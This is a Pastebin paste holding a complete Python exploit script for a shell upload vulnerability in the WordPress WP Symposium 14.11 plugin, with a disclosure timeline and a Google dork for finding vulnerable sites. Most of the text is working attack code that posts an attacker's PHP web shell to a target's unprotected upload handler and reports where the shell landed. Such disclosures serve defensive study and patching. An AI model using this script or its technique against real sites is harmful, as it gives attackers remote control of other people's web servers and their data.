Advertisement
Guest User

Untitled

a guest
Dec 14th, 2014
1,026
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.14 KB | None | 0 0
  1. #!/usr/bin/python
  2. #
  3. # Exploit Name: Wordpress WP Symposium 14.11 Shell Upload Vulnerability
  4. #
  5. #
  6. # Vulnerability discovered by Claudio Viviani
  7. #
  8. # Exploit written by Claudio Viviani
  9. #
  10. #
  11. # 2014-11-27: Discovered vulnerability
  12. # 2014-12-01: Vendor Notification (Twitter)
  13. # 2014-12-02: Vendor Notification (Web Site)
  14. # 2014-12-04: Vendor Notification (E-mail)
  15. # 2014-12-11: No Response/Feedback
  16. # 2014-12-11: Published
  17. #
  18. # Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs
  19. #
  20. # --------------------------------------------------------------------
  21. #
  22. # The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:
  23. #
  24. # if ($_FILES["file"]["error"] > 0) {
  25. # echo "Error: " . $_FILES["file"]["error"] . "<br>";
  26. # } else {
  27. # $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext');
  28. # //echo "Upload: " . $_FILES["file"]["name"] . "<br>";
  29. # $ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
  30. # //echo "Extension: " . $ext . "<br />";
  31. # if (strpos($allowedExts, $ext)) {
  32. # $extAllowed = true;
  33. # } else {
  34. # $extAllowed = false;
  35. # }
  36. # //echo "Type: " . $_FILES["file"]["type"] . "<br>";
  37. # //echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
  38. # //echo "Stored in: " . $_FILES["file"]["tmp_name"];
  39. #
  40. # if (!$extAllowed) {
  41. # echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN);
  42. # } else {
  43. # // Copy file to tmp location
  44. # ...
  45. # ...
  46. # ...
  47. #
  48. # BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension
  49. #
  50. # The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/"
  51. #
  52. # ---------------------------------------------------------------------
  53. #
  54. # Dork google: index of "wp-symposium"
  55. #
  56. #
  57. # Tested on BackBox 3.x with python 2.6
  58. #
  59. # Http connection
  60. import urllib, urllib2, socket
  61. #
  62. import sys
  63. # String manipulator
  64. import string, random
  65. # Args management
  66. import optparse
  67. # File management
  68. import os, os.path, mimetypes
  69.  
  70. # Check url
  71. def checkurl(url):
  72. if url[:8] != "https://" and url[:7] != "http://":
  73. print('[X] You must insert http:// or https:// procotol')
  74. sys.exit(1)
  75. else:
  76. return url
  77.  
  78. # Check if file exists and has readable
  79. def checkfile(file):
  80. if not os.path.isfile(file) and not os.access(file, os.R_OK):
  81. print '[X] '+file+' file is missing or not readable'
  82. sys.exit(1)
  83. else:
  84. return file
  85. # Get file's mimetype
  86. def get_content_type(filename):
  87. return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
  88.  
  89. def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
  90. return ''.join(random.choice(chars) for _ in range(size))
  91.  
  92. # Create multipart header
  93. def create_body_sh3ll_upl04d(payloadname, randDirName, randShellName):
  94.  
  95. getfields = dict()
  96. getfields['uploader_uid'] = '1'
  97. getfields['uploader_dir'] = './'+randDirName
  98. getfields['uploader_url'] = url_symposium_upload
  99.  
  100. payloadcontent = open(payloadname).read()
  101.  
  102. LIMIT = '----------lImIt_of_THE_fIle_eW_$'
  103. CRLF = '\r\n'
  104.  
  105. L = []
  106. for (key, value) in getfields.items():
  107. L.append('--' + LIMIT)
  108. L.append('Content-Disposition: form-data; name="%s"' % key)
  109. L.append('')
  110. L.append(value)
  111.  
  112. L.append('--' + LIMIT)
  113. L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', randShellName+".php"))
  114. L.append('Content-Type: %s' % get_content_type(payloadname))
  115. L.append('')
  116. L.append(payloadcontent)
  117. L.append('--' + LIMIT + '--')
  118. L.append('')
  119. body = CRLF.join(L)
  120. return body
  121.  
  122. banner = """
  123. ___ ___ __
  124. | Y .-----.----.--| .-----.----.-----.-----.-----.
  125. |. | | _ | _| _ | _ | _| -__|__ --|__ --|
  126. |. / \ |_____|__| |_____| __|__| |_____|_____|_____|
  127. |: | |__|
  128. |::.|:. |
  129. `--- ---'
  130. ___ ___ _______ _______ __
  131. | Y | _ |______| _ .--.--.--------.-----.-----.-----|__.--.--.--------.
  132. |. | |. 1 |______| 1___| | | | _ | _ |__ --| | | | |
  133. |. / \ |. ____| |____ |___ |__|__|__| __|_____|_____|__|_____|__|__|__|
  134. |: |: | |: 1 |_____| |__|
  135. |::.|:. |::.| |::.. . |
  136. `--- ---`---' `-------'
  137. Wp-Symposium
  138. Sh311 Upl04d Vuln3r4b1l1ty
  139. v14.11
  140.  
  141. Written by:
  142.  
  143. Claudio Viviani
  144.  
  145. http://www.homelab.it
  146.  
  147. info@homelab.it
  148. homelabit@protonmail.ch
  149.  
  150. https://www.facebook.com/homelabit
  151. https://twitter.com/homelabit
  152. https://plus.google.com/+HomelabIt1/
  153. https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
  154. """
  155.  
  156. commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
  157. commandList.add_option('-t', '--target', action="store",
  158. help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
  159. )
  160. commandList.add_option('-f', '--file', action="store",
  161. help="Insert file name, ex: shell.php",
  162. )
  163. commandList.add_option('--timeout', action="store", default=10, type="int",
  164. help="[Timeout Value] - Default 10",
  165. )
  166.  
  167. options, remainder = commandList.parse_args()
  168.  
  169. # Check args
  170. if not options.target or not options.file:
  171. print(banner)
  172. commandList.print_help()
  173. sys.exit(1)
  174.  
  175. payloadname = checkfile(options.file)
  176. host = checkurl(options.target)
  177. timeout = options.timeout
  178.  
  179. print(banner)
  180.  
  181. socket.setdefaulttimeout(timeout)
  182.  
  183. url_symposium_upload = host+'/wp-content/plugins/wp-symposium/server/php/'
  184.  
  185. content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'
  186.  
  187. randDirName = id_generator()
  188. randShellName = id_generator()
  189.  
  190. bodyupload = create_body_sh3ll_upl04d(payloadname, randDirName, randShellName)
  191.  
  192. headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  193. 'content-type': content_type,
  194. 'content-length': str(len(bodyupload)) }
  195.  
  196. try:
  197. req = urllib2.Request(url_symposium_upload+'index.php', bodyupload, headers)
  198. response = urllib2.urlopen(req)
  199. read = response.read()
  200.  
  201. if "error" in read or read == "0" or read == "":
  202. print("[X] Upload Failed :(")
  203. else:
  204. print("[!] Shell Uploaded")
  205. print("[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n")
  206.  
  207. except urllib2.HTTPError as e:
  208. print("[X] "+str(e))
  209. except urllib2.URLError as e:
  210. print("[X] Connection Error: "+str(e))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement